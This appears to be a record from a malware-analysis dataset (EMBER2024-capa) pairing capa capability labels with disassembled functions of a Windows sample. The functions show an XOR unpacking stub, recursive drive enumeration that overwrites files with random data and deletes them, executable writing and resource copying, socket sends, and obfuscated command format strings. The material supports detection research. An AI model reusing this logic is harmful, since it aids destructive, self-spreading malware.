joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x610d3fee
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x438e2806
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4012fb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.00412162
mov esi, eax
cmp esi, 0x100000
pop ecx
jbe 0x401321
xor eax, eax
jmp 0x4013e2
push edi
lea edi, [esi + 0x80]
push edi
call fcn.0040fb39
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
mov dword [0x44c68c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x40138f
push dword [0x44c68c]
mov byte [0x44c688], bl
mov byte [0x44c689], bl
mov dword [0x44c694], ebx
call fcn.0040fb80
push dword [0x44c690]
mov dword [0x44c68c], ebx
call fcn.0040fb80
pop ecx
pop ecx
mov dword [0x44c690], ebx
xor eax, eax
jmp 0x4013e1
push ebx
lea ecx, [ebp - 4]
push ecx
push esi
push dword [0x44c68c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov dword [0x44c694], esi
call fcn.0040fb39
push esi
push dword [0x44c68c]
mov dword [0x44c690], eax
push eax
call fcn.0041fd80
push esi
push dword [0x44c68c]
push dword [0x44c690]
call fcn.0041fd80
xor eax, eax
add esp, 0x1c
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4013e6
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
xor ebx, ebx
cmp byte [0x44c6a0], bl
push esi
push edi
je 0x401407
xor ebp, ebp
inc ebp
mov byte [0x44c6a0], bl
mov byte [0x44c6a1], 1
jmp 0x401417
push 2
pop ebp
mov byte [0x44c6a1], bl
mov byte [0x44c6a0], 1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
cmp ebp, 1
jne 0x401431
cmp dword [0x44c698], ebx
ja 0x401424
cmp ebp, 2
jne 0x40143e
cmp dword [0x44c69c], ebx
ja 0x401424
push 0x3e8
call esi
push dword [esp + 0x18]
mov dword [esp + 0x14], ebx
call fcn.00412162
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [esp + 0x30]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4014b6
push dword [0x44c6a4]
mov byte [0x44c6a0], bl
mov dword [0x44c6ac], ebx
mov byte [0x44c6a1], bl
mov dword [0x44c6b0], ebx
call fcn.0040fb80
push dword [0x44c6a8]
mov dword [0x44c6a4], ebx
call fcn.0040fb80
pop ecx
pop ecx
mov dword [0x44c6a8], ebx
xor eax, eax
jmp 0x401526
cmp ebp, 1
jne 0x4014ea
push dword [0x44c6a4]
call fcn.0040fb80
push esi
call fcn.0040fb39
pop ecx
pop ecx
push ebx
lea ecx, [esp + 0x14]
push ecx
push esi
push eax
push edi
mov dword [0x44c6a4], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [0x44c6ac], esi
jmp 0x40151c
cmp ebp, 2
jne 0x40151c
push dword [0x44c6a8]
call fcn.0040fb80
push esi
call fcn.0040fb39
pop ecx
pop ecx
push ebx
lea ecx, [esp + 0x14]
push ecx
push esi
push eax
push edi
mov dword [0x44c6a8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [0x44c6b0], esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4015d6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
mov byte [ebp - 1], bl
call fcn.00412162
mov esi, eax
push esi
call fcn.0040fb39
pop ecx
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401646
push ebx
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 8]
call fcn.00401587
test al, al
pop ecx
pop ecx
je 0x401646
mov byte [ebp - 1], 1
push dword [ebp - 8]
call fcn.0040fb80
mov al, byte [ebp - 1]
pop ecx
pop edi
pop esi
cmp al, bl
pop ebx
je 0x401660
mov byte [0x44c6b4], 1
leave
ret
Function at 0x401b9f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov byte [ebp - 1], 0
call fcn.0040fb39
push dword [ebp + 0xc]
mov ebx, eax
push dword [ebp + 8]
push ebx
call fcn.0041fd80
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00418df4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x1c
mov edi, 0x12c
push edi
call esi
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00418df4
add esp, 0xc
push edi
call esi
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00418df4
add esp, 0xc
push edi
call esi
cmp byte [ebx], 0x4d
jne 0x401c6b
cmp byte [ebx + 1], 0x5a
jne 0x401c6b
push 0x26
lea eax, [ebx + 0x4e]
push str.This_program_cannot_be_run_in_DOS_mode
push eax
call fcn.00420120
add esp, 0xc
test eax, eax
jne 0x401c6b
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c64
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], esi
jne 0x401c64
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.0040fb80
mov al, byte [ebp - 1]
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401c7a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push dword [ebp + 8]
xor ebx, ebx
mov byte [ebp - 1], bl
call fcn.00412162
mov esi, eax
cmp esi, 0xc350
pop ecx
jae 0x401c9e
xor al, al
jmp 0x401d09
push edi
push esi
call fcn.0040fb39
push esi
mov edi, eax
push ebx
push edi
call fcn.004200c0
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401cfe
push ebx
lea ecx, [ebp - 8]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
call fcn.00401662
test al, al
pop ecx
pop ecx
je 0x401cfe
mov byte [ebp - 1], 1
push edi
call fcn.0040fb80
mov al, byte [ebp - 1]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40216f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push dword [0x4563c4]
xor ebx, ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041359d
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x402197
xor al, al
jmp 0x402200
push edi
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x20], bl
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041106e
add esp, 0xc
push ebx
push 0xa
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push esi
call fcn.00403026
cmp eax, 1
pop ecx
pop ecx
pop edi
jne 0x4021f7
push ebx
push 0x44c6b8
push esi
call fcn.00402652
add esp, 0xc
test eax, eax
je 0x4021f7
mov bl, 1
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x405ac7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00420250
push esi
push dword [ebp + 8]
call fcn.00412162
mov esi, eax
test esi, esi
pop ecx
jge 0x405ae9
mov esi, 0x186a0
cmp esi, 0x989680
jle 0x405afe
call fcn.004201e2
mov esi, eax
imul esi, esi, 0x3e8
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201d8
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x405b87
test esi, esi
jle 0x405b75
push ebx
push edi
mov edi, 0x1000
xor ebx, ebx
call fcn.004201e2
cdq
mov ecx, 0x100
idiv ecx
inc ebx
cmp ebx, edi
mov byte [ebp + ebx - 0x1009], dl
jl 0x405b3c
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x1008]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [ebp - 8]
test esi, esi
jg 0x405b3a
pop edi
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call fcn.00413687
pop ecx
pop esi
leave
ret

Function at 0x405b8a
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push edi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x348]
push str._s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405ca1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x405c23
cmp byte [ebp - 0x218], 0x2e
je 0x405c8a
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x4283c0
push eax
call edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00405b8a
add esp, 0x1c
jmp 0x405c8a
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4283c8
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x104]
push eax
call fcn.004127cf
pop ecx
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [ebp + 0xc], 0
lea eax, [ebp - 0x104]
push eax
je 0x405c84
call fcn.00405ac7
jmp 0x405c89
call fcn.00413687
pop ecx
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405bde
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop ebx
leave
ret
Function at 0x405e1c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push esi
lea eax, [ebp - 0x508]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [ebp - 0x508], 0
lea esi, [ebp - 0x508]
je 0x405eb4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
cmp al, 0x41
je 0x405ea4
cmp al, 0x61
je 0x405ea4
mov byte [ebp - 0x108], al
push str.:System_Volume_Information
lea eax, [ebp - 0x107]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call fcn.004123ce
test eax, eax
pop ecx
je 0x405ea4
lea eax, [ebp - 0x108]
push eax
call fcn.004127cf
push 0x28
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00405b8a
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x405e47
pop esi
leave
ret
Function at 0x4060e4
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
and dword [ebp - 4], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push dword [ebp + 8]
call ebx
push 0x41
pop ecx
mov esi, eax
add esi, dword [ebp + 8]
xor eax, eax
push 0x41
mov byte [ebp - 0x110], 0
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x218], al
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x418], al
push 0x7f
pop ecx
lea edi, [ebp - 0x417]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x40615a
cmp esi, dword [ebp + 8]
jbe 0x40614d
dec esi
cmp byte [esi], 0x5c
jne 0x406142
cmp byte [esi], 0x5c
je 0x40615a
or eax, 0xffffffff
jmp 0x4062b9
push 0x455f08
lea eax, [ebp - 0x110]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201d8
pop ecx
call fcn.004201e2
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x110]
add edx, 4
push edx
push eax
call ebx
lea eax, [ebp + eax - 0x110]
push eax
call fcn.00411f9e
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x418]
push str.cw__y__tk__inul___s____s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
xor edi, edi
push edi
push edi
lea eax, [ebp - 0x418]
push eax
push 0x4563c8
push edi
push edi
call dword [0x455ba0]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x110]
push eax
call fcn.004123ce
test eax, eax
pop ecx
je 0x4062a9
push edi
push 0x80
push 3
push edi
push 1
push connect
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x4062a5
lea eax, [ebp - 0x218]
push esi
push eax
mov dword [ebp - 8], edi
call fcn.004204b0
pop ecx
pop ecx
push esi
push esi
call ebx
push eax
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp + eax - 0x218]
push eax
call fcn.00411f03
add esp, 0xc
push edi
lea eax, [ebp - 8]
push eax
push 0x100
lea eax, [ebp - 0x418]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
mov byte [ebp - 0x2ec], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00412098
test eax, eax
pop ecx
pop ecx
je 0x4062a9
mov dword [ebp - 4], 1
jmp 0x4062a9
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4062be
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push dword [ebp + 8]
call ebx
push 0x41
pop ecx
mov esi, eax
add esi, dword [ebp + 8]
xor eax, eax
push 0x41
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x414], al
push 0x7f
pop ecx
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x406330
cmp esi, dword [ebp + 8]
jbe 0x406323
dec esi
cmp byte [esi], 0x5c
jne 0x406318
cmp byte [esi], 0x5c
je 0x406330
or eax, 0xffffffff
jmp 0x406450
push 0x455f08
lea eax, [ebp - 0x10c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201d8
pop ecx
call fcn.004201e2
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10c]
add edx, 4
push edx
push eax
call ebx
lea eax, [ebp + eax - 0x10c]
push eax
call fcn.00411f9e
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.004204b0
add esp, 0x10
push esi
push esi
call ebx
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
lea eax, [ebp + eax - 0x214]
push eax
call fcn.00411f03
add esp, 0xc
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x406450
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 4], esi
call ebx
push eax
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x414]
push str.c__y__tk__inul__z__s____s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
push esi
lea eax, [ebp - 0x414]
push eax
push 0x4563c8
push esi
push esi
call dword [0x455ba0]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406b98
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x348
push ebx
push esi
push edi
mov edi, dword [ebp + 0x7c]
push 5
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x78]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and dword [ebp + 0x7c], 0
lea eax, [ebp - 0x2d8]
push str._s
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406cff
test byte [ebp - 0xd0], 0x10
je 0x406c36
cmp byte [ebp - 0xa4], 0x2e
je 0x406c36
cmp edi, 3
jg 0x406c36
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0x78]
lea eax, [ebp - 0x1d4]
push 0x4283c0
push eax
call esi
lea eax, [ebp - 0x1d4]
push edi
push eax
call fcn.00406b98
add esp, 0x18
test eax, eax
jne 0x406d12
lea eax, [ebp - 0xa4]
push 0x42855c
push eax
call fcn.004203c0
test eax, eax
pop ecx
pop ecx
je 0x406c50
mov byte [eax], 0
lea eax, [ebp - 0xa4]
push str..exe
push eax
call fcn.00412098
test eax, eax
pop ecx
pop ecx
jne 0x406ccb
lea eax, [ebp - 0xa4]
push eax
call fcn.00413302
test al, al
pop ecx
je 0x406ccb
lea eax, [ebp - 0xa4]
push eax
call fcn.00406ac5
test al, al
pop ecx
je 0x406ccb
lea eax, [ebp - 0xa4]
push eax
call fcn.00406a5d
test al, al
pop ecx
jne 0x406ccb
mov eax, dword [0x454798]
mov cl, byte [ebp - 0xa4]
shl eax, 6
cmp cl, byte [eax + 0x451558]
jne 0x406cbe
mov cl, byte [ebp - 0xa3]
cmp cl, byte [eax + 0x451559]
je 0x406ccb
lea eax, [ebp - 0xa4]
push eax
call fcn.00406a93
pop ecx
inc dword [ebp + 0x7c]
lea eax, [ebp - 0xd0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x406cff
cmp dword [0x454798], 0xc7
ja 0x406cff
cmp dword [ebp + 0x7c], 0x1e
jl 0x406bef
cmp edi, 1
je 0x406bef
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
add ebp, 0x70
leave
ret
xor esi, esi
inc esi
jmp 0x406d01

Function at 0x406e52
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x80
push esi
push dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
call edi
push ebx
push esi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406e9d
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x10]
call fcn.004123e3
cmp byte [ebp + 0x14], bl
pop ecx
je 0x406ec9
cmp byte [ebp + 0x14], 1
jne 0x406ebc
push 5
jmp 0x406ec4
cmp byte [ebp + 0x14], 2
jne 0x406ec9
push 7
push dword [ebp + 0x10]
call edi
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 4], eax
pop edi
pop esi
sete al
pop ebx
leave
ret
Function at 0x40805e
Capabilities:
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0xc0
push ebx
push esi
push edi
push 0x24
lea eax, [ebp + 0x40]
push 0
push eax
call fcn.004200c0
mov esi, 0x9c
push esi
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.004200c0
add esp, 0x18
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x4080ad
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x94
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.GetNativeSystemInfo
mov ebx, str.kernel32.dll
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x4080d5
lea ecx, [ebp + 0x40]
push ecx
call eax
jmp 0x4080df
lea eax, [ebp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.GetProductInfo
push ebx
call esi
push eax
call edi
cmp dword [ebp - 0x4c], 2
pop edi
pop esi
pop ebx
je 0x4080f7
xor al, al
jmp 0x408139
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp + 0x70]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*2]
mov ecx, dword [ebp + 0x6c]
mov dword [ecx], eax
mov al, 1
cmp byte [ebp + 0x3e], al
setne cl
mov byte [edx], cl
movzx ecx, word [ebp + 0x38]
mov edx, dword [ebp + 0x74]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp + 0x7c]
and ecx, 0xffff
cmp word [ebp + 0x40], 0
mov dword [edx], ecx
mov edx, dword [ebp + 0x78]
sete cl
mov byte [edx], cl
add ebp, 0x64
leave
ret

Function at 0x4082bd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
xor ebx, ebx
push 0x7d0
mov byte [0x4549b8], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x4549c0], eax
push 0x32
lea eax, [ebp - 0x204]
push eax
push 0x42db20
mov byte [0x4549b8], 1
call fcn.00411e19
add esp, 0xc
push eax
push 0x4547b8
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
mov word [0x4547a8], 2
call fcn.004121f3
add esp, 0x10
push 0x50
mov dword [0x4547ac], eax
call dword [0x455bf0]
mov word [0x4547aa], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [ebp + 0x10]
cmp esi, 1
mov dword [0x4549bc], eax
jl 0x40835f
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x40824f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
jne 0x408349
pop esi
pop ebx
leave
ret

Function at 0x408549
Capabilities:
Set file attributes

Disassembly:
push 0x80
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call fcn.004123ce
test eax, eax
pop ecx
je 0x4085ab
push edi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4085aa
push esi
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
je 0x4085a2
push esi
push 0x408529
push 0xe
push edi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop edi
ret